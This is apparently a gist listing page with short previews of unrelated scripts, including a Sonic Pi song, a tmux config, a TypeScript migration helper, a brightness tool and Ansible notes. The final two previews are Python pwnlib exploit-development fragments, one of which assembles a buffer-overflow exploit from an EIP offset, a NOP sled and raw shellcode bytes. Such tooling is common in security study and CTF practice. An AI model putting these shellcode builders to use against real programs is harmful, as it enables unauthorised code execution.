This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Based on https://github.com/euruband/sonic-pi-examples/blob/master/seven_nation_army.rb | |
tick = 1.0 | |
half = 0.5*tick | |
quart = 0.25*tick | |
eigth = 0.125*tick | |
length = 8*tick | |
define :dotted do |note| | |
1.5*note |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Inspired by https://www.hamvocke.com/blog/a-guide-to-customizing-your-tmux-conf/ | |
# vim mode | |
setw -g mode-keys vi | |
set-option -g history-limit 10000 | |
bind-key -T copy-mode-vi 'v' send-keys -X begin-selection | |
bind-key -T copy-mode-vi 'y' send-keys -X copy-selection | |
set-option -s set-clipboard off |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env zsh | |
# Super dummy script to add @ts-expect-error to all typescript strcit mode errors | |
# So we are able to migrate with small steps | |
RET=1 | |
until [ $RET -eq 0 ]; do | |
echo 'Running tsc...' | |
OUT=$(./node_modules/.bin/tsc --noEmit) | |
RET=$? # will repeat if there are any errors |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
from subprocess import run, Popen | |
from re import search | |
from time import sleep | |
# NOTE: you will need to install `brightness` utility | |
# `brew install brightness` | |
BRIGHTNESS_STEP = 0.2 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import { SetState } from './tmpState.actions'; | |
import { State, Action } from '@ngxs/store'; | |
let myDefaults: any; | |
// get default state | |
const stateHandler = { | |
apply: function (target, thisArg, argumentsList) { | |
myDefaults = argumentsList[0].defaults; | |
return target.apply(thisArg, argumentsList); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
## Installation | |
$ git clone --recursive https://github.com/kozlovzxc/CoreSearchEnv | |
$ cd CoreSearchEnv | |
// * install ansible | |
// https://docs.ansible.com/ansible/intro_installation.html | |
## Writing inventory file | |
// more info here https://docs.ansible.com/ansible/intro_inventory.html#host-variables | |
// * edit inventory | |
$ cat inventory |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python2.7 | |
import argparse | |
import re | |
import pwnlib | |
def execute_with_payload(binary_name, payload): | |
ans = "" | |
proc = pwnlib.tubes.process.process( |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python2 | |
import argparse | |
from itertools import ifilter | |
import pwnlib | |
def generate_shellcode_exploit(eip_offset, esp, nopsled_size, custom_shellcode): | |
shellcode = custom_shellcode if custom_shellcode else ( | |
'\xeb\x0b\x5b\x31' |